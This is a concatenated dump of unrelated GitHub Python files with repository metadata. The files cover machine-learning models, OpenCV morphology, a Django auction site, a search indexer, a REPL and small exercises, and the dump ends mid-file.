errors[index]))\n\n print(\"\\n\")\n\n average = sum(errors) / noOfRows\n print(\"Average Error: {:+.2f}\".format(average))\n\n @staticmethod\n def __compute(weights, row):\n return sum([weight * attribute for weight, attribute in zip(weights, row)])\n\n @classmethod\n def __validate(cls, testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr):\n try:\n testSize = float(testSizeStr)\n if not (0 < testSize < 1):\n raise ValueError()\n except ValueError:\n raise MyException(\"Test size must be a float in range (0, 1).\")\n\n withShuffle = False\n if withShuffleStr.lower() == 'false':\n pass\n elif withShuffleStr.lower() == 'true':\n withShuffle = True\n else:\n raise MyException(\"Shuffle option must be boolean.\")\n\n try:\n noOfEpochs = int(noOfEpochsStr)\n if not (0 < noOfEpochs):\n raise ValueError()\n except ValueError:\n raise MyException(\"No. of epochs must be an integer greater than 0.\")\n\n try:\n learningRate = float(learningRateStr)\n if not (0 < learningRate <= 1):\n raise ValueError()\n except ValueError:\n raise MyException(\"Learning rate must be a float in range (0, 1].\")\n\n return testSize, withShuffle, noOfEpochs, learningRate\n","repo_name":"AdrianPascan/Bachelor","sub_path":"4th semester/AI (Artificial Intelligence)/Lab7_GradientDescent/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9762729821","text":"import numpy as np\nimport cv2\n\n# 腐蚀操作和膨胀操作\n\nimg = cv2.imread('butterfly1.png')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# 二值化\nret, binary = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n# binary = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 0)\n\n# kernel(卷积核核)指定一个范围矩阵,这里就是以像素点为中心的一个3*3的矩形\nkernel = np.ones((3, 3), np.uint8)\n\n# 腐蚀操作,范围内有黑则变黑\nerosion = cv2.erode(binary, kernel, iterations=1)\n\n# 膨胀操作,范围内有白就白 1:迭代次数,也就是执行几次膨胀操作\ndilate = cv2.dilate(binary, kernel, 1)\n\n# 开运算 先腐蚀再膨胀 去除毛刺\nopening = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel, 1)\n\n# 闭运算 线膨胀在腐蚀 填补缺陷\nclosing = cv2.morphologyEx(binary, cv2.MORPH_CLOSE, kernel)\n\n# 梯度运算 显示边缘信息 即膨胀后的图像 - 腐蚀后的图像\ngradient = cv2.morphologyEx(binary, cv2.MORPH_GRADIENT, kernel)\n\ncv2.imshow('src', binary)\ncv2.imshow('dilate', dilate)\ncv2.imshow('erosion', erosion)\ncv2.imshow('opening', opening)\ncv2.imshow('closing', closing)\ncv2.imshow('gradient', gradient)\n\ncv2.waitKey()","repo_name":"Hikiy/opencvLearn","sub_path":"erosionAndDilate.py","file_name":"erosionAndDilate.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13340946364","text":"import csv\nimport os\nimport time\nfrom functools import reduce\n\nimport pandas as pd\nimport glob\n\n\nfilepath = 'C:/Users/ENeS/Desktop/datasets/HTCprot/iteam_review'\nid_list = os.listdir(filepath)\nworry_list = []\nfor id in id_list:\n try:\n first = 0\n path = 'C:/Users/ENeS/Desktop/datasets/HTCprot/iteam_review/'+id\n with open(path, 'r', encoding='UTF-8') as f:\n reader = csv.reader(f)\n for row in reader:\n review_count = row[7].replace('review(s)','')\n if row:\n first += 1\n print('这个', '有', first - 1)\n if int(review_count) >(first-1) & (int(review_count) - first) > 5:\n print(path.split('/')[8])\n worr_id = path.split('/')[8].split('.')[0]\n worry_list.append(worr_id)\n print(worry_list,\"错误的\")\n print(len(worry_list))\n else:\n print('这个文件没问题')\n except:\n print('这个id没有评论' )\n","repo_name":"asi1117/data_collect","sub_path":"reviews_count.py","file_name":"reviews_count.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7786857511","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom simplecv.interface import CVModule\nfrom simplecv import registry\nfrom simplecv.module import resnet\nfrom simplecv.module import fpn\nimport math\nfrom simplecv.module import loss\nfrom simplecv.module.resnet import plugin_context_block2d\n\ntry:\n from module.dcn import resnet_plugin\nexcept:\n pass\n\nclass AssymetricDecoder(nn.Module):\n def __init__(self,\n in_channels,\n out_channels,\n in_feat_output_strides=(4, 8, 16, 32),\n out_feat_output_stride=4,\n norm_fn=nn.BatchNorm2d,\n num_groups_gn=None):\n super(AssymetricDecoder, self).__init__()\n if norm_fn == nn.BatchNorm2d:\n norm_fn_args = dict(num_features=out_channels)\n elif norm_fn == nn.GroupNorm:\n if num_groups_gn is None:\n raise ValueError('When norm_fn is nn.GroupNorm, num_groups_gn is needed.')\n norm_fn_args = dict(num_groups=num_groups_gn, num_channels=out_channels)\n else:\n raise ValueError('Type of {} is not support.'.format(type(norm_fn)))\n self.blocks = nn.ModuleList()\n for in_feat_os in in_feat_output_strides:\n num_upsample = int(math.log2(int(in_feat_os))) - int(math.log2(int(out_feat_output_stride)))\n\n num_layers = num_upsample if num_upsample != 0 else 1\n\n self.blocks.append(nn.Sequential(*[\n nn.Sequential(\n nn.Conv2d(in_channels if idx == 0 else out_channels, out_channels, 3, 1, 1, bias=False),\n norm_fn(**norm_fn_args) if norm_fn is not None else nn.Identity(),\n nn.ReLU(inplace=True),\n nn.UpsamplingBilinear2d(scale_factor=2) if num_upsample != 0 else nn.Identity(),\n )\n for idx in range(num_layers)]))\n\n def forward(self, feat_list: list):\n inner_feat_list = []\n for idx, block in enumerate(self.blocks):\n decoder_feat = block(feat_list[idx])\n inner_feat_list.append(decoder_feat)\n\n out_feat = sum(inner_feat_list) / 4.\n return out_feat\n\n\n@registry.MODEL.register('SemanticFPN')\nclass SemanticFPN(CVModule):\n def __init__(self, config):\n super(SemanticFPN, self).__init__(config)\n self.en = resnet.ResNetEncoder(self.config.resnet_encoder)\n self.fpn = fpn.FPN(**self.config.fpn)\n self.decoder = AssymetricDecoder(**self.config.decoder)\n self.cls_pred_conv = nn.Conv2d(self.config.decoder.out_channels, self.config.num_classes, 1)\n self.upsample4x_op = nn.UpsamplingBilinear2d(scale_factor=4)\n self.device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n if self.config.resnet_encoder.gc_blocks.on:\n self.en.resnet.layer2 = plugin_context_block2d(self.en.resnet.layer2,\n self.config.resnet_encoder.gc_blocks.ratios[0])\n self.en.resnet.layer3 = plugin_context_block2d(self.en.resnet.layer3,\n self.config.resnet_encoder.gc_blocks.ratios[1])\n self.en.resnet.layer4 = plugin_context_block2d(self.en.resnet.layer4,\n self.config.resnet_encoder.gc_blocks.ratios[2])\n\n if self.config.resnet_encoder.with_dcn[0]:\n self.en.layer1 = resnet_plugin.plugin_dcn(self.en.layer1, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[1]:\n self.en.layer2 = resnet_plugin.plugin_dcn(self.en.layer2, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[2]:\n self.en.layer3 = resnet_plugin.plugin_dcn(self.en.layer3, self.config.resnet_encoder.dcn)\n if self.config.resnet_encoder.with_dcn[3]:\n self.en.layer4 = resnet_plugin.plugin_dcn(self.en.layer4, self.config.resnet_encoder.dcn)\n\n def forward(self, x, y=None):\n feat_list = self.en(x)\n fpn_feat_list = self.fpn(feat_list)\n final_feat = self.decoder(fpn_feat_list)\n cls_pred = self.cls_pred_conv(final_feat)\n cls_pred = self.upsample4x_op(cls_pred)\n if self.training:\n cls_true = y['cls']\n loss_dict = dict()\n if self.config.loss.binary_mode:\n assert self.config.num_classes == 1\n loss_dict.update(self.binary_cls_loss(cls_pred, cls_true))\n # iou-1\n with torch.no_grad():\n y_pred = (cls_pred.sigmoid() > 0.5).float().view(-1)\n y_true = cls_true.float().view(-1)\n inter = torch.sum(y_pred * y_true)\n union = y_true.sum() + y_pred.sum()\n loss_dict['iou-1'] = inter / torch.max(union - inter, torch.as_tensor(1e-6, device=y_pred.device))\n else:\n cls_loss_v = self.config.loss.cls_weight * self.cls_loss(cls_pred, cls_true)\n loss_dict['cls_loss'] = cls_loss_v\n\n mem = torch.cuda.max_memory_allocated() // 1024 // 1024\n loss_dict['mem'] = torch.from_numpy(np.array([mem], dtype=np.float32)).to(self.device)\n return loss_dict\n\n if self.config.num_classes > 1:\n cls_prob = torch.softmax(cls_pred, dim=1)\n else:\n cls_prob = torch.sigmoid(cls_pred)\n return cls_prob\n\n def cls_loss(self, y_pred, y_true):\n return F.cross_entropy(y_pred, y_true.long(), ignore_index=self.config.loss.ignore_index)\n\n def binary_cls_loss(self, y_pred, y_true):\n loss_dict = dict(dice_loss=self.config.loss.cls_weight * loss.dice_loss_with_logits(y_pred, y_true),\n bce_loss=self.config.loss.cls_weight * F.binary_cross_entropy_with_logits(y_pred.view(-1),\n y_true.float().view(\n -1)))\n return loss_dict\n\n def set_defalut_config(self):\n self.config.update(dict(\n resnet_encoder=dict(\n resnet_type='resnet50',\n include_conv5=True,\n batchnorm_trainable=True,\n pretrained=False,\n freeze_at=0,\n # 8, 16 or 32\n output_stride=32,\n with_cp=(False, False, False, False),\n stem3_3x3=False,\n gc_blocks=dict(\n on=False,\n ratios=(1 / 16., 1 / 16., 1 / 16.)\n ),\n norm_layer=nn.BatchNorm2d,\n with_dcn=(False, False, False, False),\n dcn=dict(fallback_on_stride=False,\n modulated=False,\n deformable_groups=1)\n ),\n fpn=dict(\n in_channels_list=(256, 512, 1024, 256),\n out_channels=256,\n conv_block=fpn.default_conv_block,\n top_blocks=None,\n ),\n decoder=dict(\n in_channels=256,\n out_channels=128,\n in_feat_output_strides=(4, 8, 16, 32),\n out_feat_output_stride=4,\n norm_fn=nn.BatchNorm2d,\n num_groups_gn=None\n ),\n num_classes=21,\n loss=dict(\n binary_mode=False,\n cls_weight=1.0,\n ignore_index=255,\n )\n ))\n\nif __name__ == '__main__':\n from simplecv.util.param_util import count_model_parameters\n sf = AssymetricDecoder(in_channels=256, out_channels=128)\n count_model_parameters(sf)\n","repo_name":"Junjue-Wang/FactSeg","sub_path":"module/semantic_fpn.py","file_name":"semantic_fpn.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"61"} +{"seq_id":"70339468675","text":"import pytest\n\nimport ilmsdump\nfrom tests import data\n\n\n@pytest.mark.asyncio\nasync def test_downlaod(client: ilmsdump.Client):\n attachments = [a async for a in data.MATERIAL_2173495.download(client)]\n\n assert (client.get_dir_for(data.MATERIAL_2173495) / 'index.html').exists()\n\n assert attachments == [data.ATTACHMENT_2107249]\n\n\n@pytest.mark.asyncio\nasync def test_downlaod_powercam(client: ilmsdump.Client):\n attachments = [a async for a in data.MATERIAL_1518.download(client)]\n\n assert (client.get_dir_for(data.MATERIAL_1518) / 'index.html').exists()\n\n assert attachments == [data.VIDEO_1518]\n\n\n@pytest.mark.asyncio\nasync def test_download_invalid(client: ilmsdump.Client):\n invalid_material = ilmsdump.Material(\n id=0,\n title='invalid material',\n type='Econtent',\n course=data.COURSE_74,\n )\n\n with pytest.raises(ilmsdump.Unavailable):\n [a async for a in invalid_material.download(client)]\n","repo_name":"afq984/ilmsdump","sub_path":"tests/test_material.py","file_name":"test_material.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"} +{"seq_id":"16493198531","text":"class Solution:\n def scoreOfParentheses(self, s: str) -> int:\n stack = [0]\n \n # counting (), smallest value is 1, which will increase exponentially\n for c in s:\n if c == \"(\":\n stack.append(0)\n \n else:\n v = stack.pop()\n stack[-1] += max(2*v, 1)\n \n return stack.pop()","repo_name":"ddaarrrryyll/leetcode","sub_path":"856-score-of-parentheses/856-score-of-parentheses.py","file_name":"856-score-of-parentheses.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39195340545","text":"from django.views.generic.base import TemplateView\nfrom car_details.models import LotData\nfrom django.db.models import Count\nfrom rest_framework.response import Response\nfrom auction.models import *\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom myroot.languages import languages\nfrom django.shortcuts import render\nfrom myroot.models import OrderNow as OrderNowModel\nfrom django.conf import settings\nfrom service.auction.calculator import AuctionCalculatorService\nfrom service.validator import ValidatorService\nfrom service.recaptcha import RecaptchaService\nfrom service.auction.search import AuctionSearchService\nfrom car_details.models import KoreanLot\n\nclass HomeView(TemplateView):\n template_name = 'auction/home.html'\n\n def get(self, request, *args, **kwargs):\n context = self.get_context_data()\n response = render(request, self.template_name, context)\n return response\n\n def get_context_data(self, **kwargs):\n context = super(HomeView, self).get_context_data(**kwargs)\n context[\"lang\"] = languages[self.request.lang]\n context[\"allMakes\"] = LotData.objects.values(\"make\").annotate(total=Count('make')).order_by('make')\n context[\"allModels\"] = LotData.objects.raw(\"\"\"SELECT DISTINCT a.model, b.make, 1 AS id\n FROM (\n SELECT model, COUNT('model') AS total\n FROM LotData\n GROUP BY model\n ) a\n INNER JOIN (\n SELECT model, make\n FROM LotData\n ) b ON a.model = b.model;\"\"\")\n context[\"allLocations\"] = LotData.objects.values(\"locationName\").annotate(total=Count('locationName'))\n context[\"allYears\"] = LotData.objects.values(\"year\").annotate(total=Count('year'))\n context[\"popularMakes\"] = LotData.objects.values(\"make\").annotate(total=Count('model')).order_by('total').order_by('make')\n context[\"vehicleTypes\"] = LotData.objects.values(\"vehicleType\").annotate(total=Count('vehicleType'))\n context[\"bodyStyles\"] = LotData.objects.values(\"bodyStyle\").annotate(total=Count('bodyStyle'))\n context[\"primaryDamage\"] = LotData.objects.values(\"primaryDamage\").annotate(total=Count('primaryDamage'))\n context[\"cities\"] = Cities.objects.filter(Country=\"US\")\n context[\"auctions\"] = AuctionCompany.objects.all()\n auction_lots_service = AuctionSearchService()\n context[\"cars\"] = auction_lots_service.get_popular_lots()\n\n for bodyStyle in context[\"bodyStyles\"]:\n if bodyStyle.get('bodyStyle') in context[\"lang\"]:\n bodyStyle['bodyStyle'] = context[\"lang\"][bodyStyle.get('bodyStyle')]\n\n for primaryDamage in context[\"primaryDamage\"]:\n if primaryDamage.get('primaryDamage') in context[\"lang\"]:\n primaryDamage['primaryDamage'] = context[\"lang\"][primaryDamage.get('primaryDamage')]\n\n context[\"bodyStyles\"] = context[\"bodyStyles\"].order_by('bodyStyle')\n context[\"primaryDamage\"] = context[\"primaryDamage\"].order_by('primaryDamage')\n\n cars_with_count = []\n for car in range(len(context[\"cars\"])):\n cars_with_count.append({\"count\": car, \"details\": context[\"cars\"][car]})\n context[\"cars\"] = cars_with_count\n\n return context\n\n\nclass AdminCalculatorView(TemplateView):\n template_name = 'admin-calculator.html'\n\n\nclass OrderNow(APIView):\n\n def post(self, request):\n\n try:\n token = request.data[\"token\"] if \"token\" in request.data.keys() else None\n\n recaptcha_service = RecaptchaService(settings.RECAPTCHA_SECRET)\n token_verified = recaptcha_service.verify_token(token=token)\n\n if token_verified:\n phone = request.data[\"phone\"] if \"phone\" in request.data.keys() else None\n email = request.data[\"email\"] if \"email\" in request.data.keys() else None\n message = request.data[\"message\"] if \"message\" in request.data.keys() else None\n lotid = request.data[\"lotid\"] if \"lotid\" in request.data.keys() else None\n first_name = request.data[\"first_name\"] if \"first_name\" in request.data.keys() else None\n last_name = request.data[\"last_name\"] if \"last_name\" in request.data.keys() else None\n\n if ValidatorService.validate_email(email) or ValidatorService.validate_international_phone(phone):\n data = OrderNowModel(FirstName=first_name,LastName=last_name,Phone=phone,Email=email, Message=message, LotId=lotid)\n data.save()\n return Response({},status=status.HTTP_200_OK)\n else:\n return Response({},status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response({}, status=status.HTTP_200_OK)\n\n except Exception as e:\n print(e, request.data)\n return Response({}, status=status.HTTP_200_OK)\n\n\nclass GetCity(APIView):\n\n def get(self, request):\n try:\n location_id = request.GET.get(\"location\")\n city = Cities.objects.get(Id=location_id)\n return Response({\n \"country\": city.Country,\n \"city\": city.Name,\n \"state\": city.State,\n \"port\": city.Port\n })\n except Exception as e:\n return Response({\"country\": \"\", \"city\": \"\", \"state\": \"\", \"port\": \"\"})\n\nclass Calculator(APIView):\n\n def get(self, request):\n lot_id = request.GET.get(\"lot_id\")\n to_country = request.GET.get(\"to_country\")\n bid = request.GET.get(\"bid\")\n auction_calculator = AuctionCalculatorService()\n auction_calculator.calculate_by_lotid(lot_id, bid, to_country)\n response = auction_calculator.json()\n return Response(response)\n\nclass KoreanListView(TemplateView):\n template_name = 'auction/korean-list.html'\n\n def get(self, request):\n context = self.get_context_data()\n context[\"lang\"] = languages[request.lang]\n context[\"korean_lots\"] = KoreanLot.objects.all()\n response = render(request, self.template_name, context)\n return response\n","repo_name":"imjayyy/autotrader","sub_path":"autotrader_web/myroot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72530998913","text":"\"\"\"\n\nreminder: https://docs.python.org/3/library/cmd.html\n\"\"\"\n##-- imports\nfrom __future__ import annotations\n\nimport cmd\nimport logging as logmod\nimport sys\nimport traceback\nfrom dataclasses import InitVar, dataclass, field\nfrom typing import (Any, Callable, ClassVar, Dict, Generic, Iterable, Iterator,\n List, Mapping, Match, MutableMapping, Optional, Sequence,\n Set, Tuple, TypeVar, Union, cast)\n\nimport acab\nimport pyparsing as pp\nfrom acab.error.base import AcabBasicException\nfrom acab_config import AcabConfigException\nfrom acab.error.parse import AcabParseException\nfrom acab.interfaces.context import ContextSet_i\nfrom acab.interfaces.engine import AcabEngine_i\nfrom acab.modules.repl import ReplParser as RP\n\nfrom .repl_state import ReplState\n\n##-- end imports\n\n##-- logging\nlogging = logmod.getLogger(__name__)\ntrace_logger = logmod.getLogger('acab.repl.trace')\n##-- end logging\n\n##-- config\nconfig = acab.config\ninitial_prompt = config.module.REPL.PROMPT\ntry:\n repl_intro = config.module.REPL.intro\nexcept AcabConfigException:\n repl_intro = [\"Welcome to ACAB.\", \"Type 'help' or '?' to list commands.\", \"Type 'tutorial' for a tutorial.\", \"Type ':q' to quit.\"]\n\n##-- end config\n\nclass AcabREPLCommander(cmd.Cmd):\n \"\"\" Implementation of cmd.Cmd to provide an extensible ACAB REPL\"\"\"\n intro = \"\\n\".join(repl_intro)\n prompt = initial_prompt + \": \"\n _latebind = []\n _default_startups : ClassVar[list[Callable[..., Any]]] = []\n\n state : ReplState = ReplState()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for inst in self._latebind:\n assert(getattr(inst, \"_repl\") is None)\n setattr(inst, \"_repl\", self)\n\n for fn in self._default_startups:\n fn(self, \"\")\n\n def default(self, line):\n \"\"\" Called when no other command matches \"\"\"\n # default to assertion / query / run\n try:\n self.state.ctxs = self.state.engine(line,\n ctxset=self.state.ctxs)\n except AcabParseException as err:\n print(str(err))\n except AcabBasicException as err:\n logging.warning(\"\\n--------------------\\nFailure:\\n\")\n traceback.print_tb(err.__traceback__)\n logging.warning(f\"\\n{err.args[-1]}\\n\")\n print(str(err))\n\n def precmd(self, line):\n \"\"\" For massaging the input command \"\"\"\n # convert symbols -> cmd names.\n # eg: ':{' -> multi\n trace_logger.info(\"[repl]>>> \" + line)\n try:\n logging.debug(\"PreCmd Parsing: {}\".format(line))\n line = RP.precmd_parser.parse_string(line)[:]\n logging.debug(\"PreCmd Result:{}\".format(line))\n # Intercept if in multi line state\n if self.state.in_multi_line and not line[0] in [\"multi\", \"pop\", \"exit\", \"echo\"]:\n logging.info(\"In Multi\")\n line = [\"collect\"] + line\n\n if bool(self.state.echo):\n print(f\"{line}\")\n\n\n\n return \" \".join(line)\n\n except pp.ParseException as err:\n traceback.print_tb(err.__traceback__)\n logging.warning(f\"Parse Failure: {err.markInputline()}\")\n\n def onecmd(self, line):\n try:\n return super(AcabREPLCommander, self).onecmd(line)\n except Exception as err:\n traceback.print_tb(err.__traceback__)\n print(f\"\\n{err.args[-1]}\\n\")\n\n def postcmd(self, stop, line):\n \"\"\"\n Update the repl prompt to display number of viable contexts\n \"\"\"\n for name, hook in sorted(self.state.post_cmds.items()):\n hook(self)\n\n return stop\n\n def parseline(self, line):\n \"\"\"Parse the line into a command name and a string containing\n the arguments. Returns a tuple containing (command, args, line).\n 'command' and 'args' may be None if the line couldn't be parsed.\n \"\"\"\n if not self.state.in_multi_line:\n line = line.strip()\n\n if not line:\n return None, None, line\n elif line[0] == '?':\n line = 'help ' + line[1:]\n elif line[0] == '!':\n if hasattr(self, 'do_shell'):\n line = 'shell ' + line[1:]\n else:\n return None, None, line\n\n # split into cmd and args\n i, n = 0, len(line)\n while i < n and line[i] in self.identchars: i = i+1\n cmd, arg = line[:i], line[i:]\n\n if not self.state.in_multi_line:\n arg = arg.strip()\n\n return cmd, arg, line\n\n def emptyline(self):\n \"\"\" Overrides default of 'repeat last command',\n and prints the working memory\n \"\"\"\n return self.onecmd(\"print wm\")\n\n\n @classmethod\n def register(cls, fn):\n \"\"\" Decorator for registering a function into the repl \"\"\"\n logging.debug(f\"{cls.__name__} Registration: {fn.__name__}\")\n assert(\"do_\" in fn.__name__)\n assert(fn.__name__ not in dir(cls))\n setattr(cls, fn.__name__, fn)\n return fn\n\n @classmethod\n def register_class(cls, name):\n \"\"\" Register an entire class as the command bound to do_{name},\n (specifically the class' __call__ method)\n \"\"\"\n def __register(target_cls):\n assert(hasattr(target_cls, \"__call__\"))\n assert(hasattr(cls, \"_latebind\"))\n if (not bool(target_cls.__call__.__doc__)) and bool(target_cls.__doc__):\n target_cls.__call__.__doc__ = target_cls.__doc__\n\n instance = target_cls()\n assert(not hasattr(target_cls, \"_repl\"))\n setattr(cls, f\"do_{name}\", instance.__call__)\n setattr(instance, \"_repl\", None)\n\n cls._latebind.append(instance)\n return target_cls\n\n return __register\n\n\n @classmethod\n def register_default(cls, fn):\n \"\"\"\n Register and automatically call the function when REPLCommander is created.\n eg: register_default(do_ctxprompt) means the repl will show active context numbers\n from startup\n\n \"\"\"\n assert(hasattr(cls, \"_default_startups\"))\n cls.register(fn)\n cls._default_startups.append(fn)\n\n\n##-- utils\nregister = AcabREPLCommander.register\nregister_class = AcabREPLCommander.register_class\nregister_default = AcabREPLCommander.register_default\n\n##-- end utils\n","repo_name":"jgrey4296/acab","sub_path":"acab/modules/repl/repl_commander.py","file_name":"repl_commander.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"11685652107","text":"# Robert Juall\n# CSCI 330\n# Prof. Hill\n# Information Retrieval\n# December 5, 2017\n\nimport os\nfrom whoosh.fields import Schema, TEXT, ID\nfrom whoosh.analysis import FancyAnalyzer\nfrom whoosh import index\n\n\n# Function takes the folder name as input (no punctuation)\n# and indexes all the text files within.\n# Running this function will ERASE any existing index.\ndef create_index(docfolder):\n\n # The schema for this index only has 2 fields:\n # The filename for the document\n # The body text of the document\n schema = Schema(\n docname=ID(stored=True),\n # The analyzer for this index includes:\n # A stop word filter\n # A regex tokenizer\n # A minimum word size of 2\n # SEE http://whoosh.readthedocs.io/en/latest/api/analysis.html#whoosh.analysis.FancyAnalyzer\n text=TEXT(analyzer=FancyAnalyzer())\n )\n\n if not os.path.exists(\"indexdir\"):\n os.mkdir(\"indexdir\")\n # This command will erase any existing index at indexdir/\n ix = index.create_in(\"indexdir\", schema)\n\n writer = ix.writer()\n\n # Iterate through the docs in the docfolder\n # and read the body text into the search index\n for filename in os.listdir(docfolder):\n with open(docfolder + '/' + filename, 'r') as file:\n writer.add_document(docname=filename, text=file.read())\n writer.commit()\n\n print(\"Index Created!\")\n\n return\n","repo_name":"RJuall/inform_retrieval_csci330","sub_path":"create_index.py","file_name":"create_index.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"736491247","text":"class Queues:\n def __init__(self, size: int):\n self.size = size\n self.queue = [None] * self.size\n self.start = 0\n self.end = 0\n\n def add(self, element: int):\n if self.end == self.size:\n print(\"Queue is full\")\n else:\n self.queue[self.end] = element\n self.end += 1\n\n def remove(self):\n if self.is_empty():\n print(\"Queue is empty, can't remove the element.\")\n else:\n self.queue[self.start] = None\n self.start += 1\n\n def peek(self) -> int:\n if not self.is_empty():\n return self.queue[self.start]\n else:\n print(\"queue is empty\")\n\n def is_empty(self) -> bool:\n return self.start == self.end\n\n\nif __name__ == '__main__':\n my_queue = Queues(5)\n my_queue.add(3)\n my_queue.add(4)\n my_queue.add(5)\n my_queue.add(9)\n my_queue.add(2)\n my_queue.add(1)\n print(my_queue.peek())\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.remove()\n my_queue.peek()","repo_name":"samruddhi221/Python_DS_Algo","sub_path":"DataStructures/queue_.py","file_name":"queue_.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30215036540","text":"#-*- encoding:utf-8 -*-\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.layers.core import Dense\nimport random\nimport model_module\nimport time\nimport h5py\nimport pickle\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n#from tensorflow.python.data.experimental import AUTOTUNE\nclass Attention_sr_model:\n def __init__(self,\n phn2ind,\n ind2phn,\n save_path,\n mode,\n feature_dim,\n num_layer_encoder,\n num_layer_decoder,\n embedding_dim,\n rnn_size_encoder,\n rnn_size_decoder,\n learning_rate = 1e-4,\n learning_rate_decay = 0.98,\n learning_rate_decay_steps = 1000,\n keep_probability_e = 1.0,\n batch_size = 32,\n beam_width = 10,\n epochs = 100,\n eos = \"\",\n sos = \"\",\n pad = \"\",\n clip = 3,\n embedding_model = None,\n dataset_path = None,\n test_paths = None,\n summary_dir = None,\n valid_path = None,\n dataset_root = None,\n num_gpu_device = 2,\n is_training = True,\n is_testing = False):\n '''\n 参数解释:\n phn2ind:Phoneme to index conversion dictionary\n ind2phn:Index to phoneme conversion dictionary\n save_path:tensorflow生成的模型存储位置\n mode:\n 'TRAIN'\n 'INFER'\n feature_dim:Feature dimension\n num_layer_encoder:Number of layers of rnn in the encoder\n num_layer_decoder:Number of layers of rnn in the decoder\n rnn_size_encoder:Number of hidden nodes of lstm / gru in the encoder\n rnn_size_decoder:Number of hidden nodes of lstm / gru in the dencoder\n embedding_dim:number of dimensions of embedding_matrix, each phoneme will be mapped to such a long vector\n learning_rate:Initial learning rate\n learning_rate_decay:The decay rate of the learning rate is generally used in conjunction with learning_rate_decay_steps\n learning_rate_decay_steps:Attenuation steps for learning rate\n keep_probability_e:embedding retention\n batch_size:Size of each mini-batch\n beam_width:Beam branch shear width, used when mode = 'INFER'\n epochs:Number of training iterations for the entire data set\n eos:end of sentence\n sos:start of sentence\n pad:做的padding\n clip:To prevent gradient explosions, you can choose to use clipping\n summary_dir:Put the stored summary into that address\n '''\n #Initialize all parameters\n #Detect the number of GPUs in the system hardware\n self.num_gpu_device = num_gpu_device\n self.phn2ind = phn2ind\n self.ind2phn = ind2phn\n self.num_classes = len(phn2ind)\n self.feature_dim = feature_dim\n self.num_layer_encoder = num_layer_encoder\n self.num_layer_decoder = num_layer_decoder\n self.rnn_size_encoder = rnn_size_encoder\n self.rnn_size_decoder = rnn_size_decoder\n self.save_path = save_path\n self.embedding_dim = embedding_dim\n self.mode = mode.upper()\n self.learning_rate = learning_rate\n self.learning_rate_decay = learning_rate_decay\n self.learning_rate_decay_steps = learning_rate_decay_steps\n self.keep_probability_e = keep_probability_e\n self.sampling_probability = 0.1\n self.batch_size = batch_size\n self.beam_width = beam_width\n self.eos = eos\n self.sos = sos\n self.pad = pad\n self.clip = clip\n self.epochs = epochs\n self.embedding_model = embedding_model\n self.summary_dir = summary_dir\n self.dataset_path = dataset_path\n self.test_paths = test_paths\n self.valid_path = valid_path\n self.dataset_root = dataset_root\n self.is_training = is_training\n self.is_testing = is_testing\n def build_graph(self):\n self.add_embeddings()\n if not self.is_testing:\n\n self.batch_data_extract()\n self.phone_embedded_vector = self.add_lookup_ops(self.train_phones)\n \n else:\n self.test_data_extract()\n self.build_model()\n self.saver = tf.train.Saver(max_to_keep = 5)\n def dataset_path_pickle(self,pickle_path):\n '''\n Extract all stored addresses from the pickle file\n '''\n paths = []\n with open(pickle_path,'rb') as f:\n path_list = pickle.load(f)\n for path in path_list:\n path = self.dataset_root + path\n path = path.replace('\\\\','/')\n paths.append(path)\n return paths\n def read_feature(self,item):\n '''\n Read feature\n '''\n f = h5py.File(item.decode(),'r')\n feature = np.array(f.get('feature'))\n if self.is_testing:\n pad_vector = np.zeros((20,np.shape(feature)[-1]))\n feature = np.vstack((pad_vector,feature,pad_vector))\n\n \n f.close()\n\n return feature.astype(np.float32)\n def read_label(self,item):\n '''\n read label\n '''\n f = h5py.File(item.decode(),'r')\n label = np.array(f.get('label'))\n f.close()\n label = label[1:]\n return label.astype(np.int32)\n def read_train_label(self,item):\n '''\n read label\n '''\n f = h5py.File(item.decode(),'r')\n label = np.array(f.get('label'))\n f.close()\n label = label[:-1]\n return label.astype(np.int32)\n \n def extract_data_from_path(self,path):\n '''\n Read each batch of data. Because the stored data is in h5py 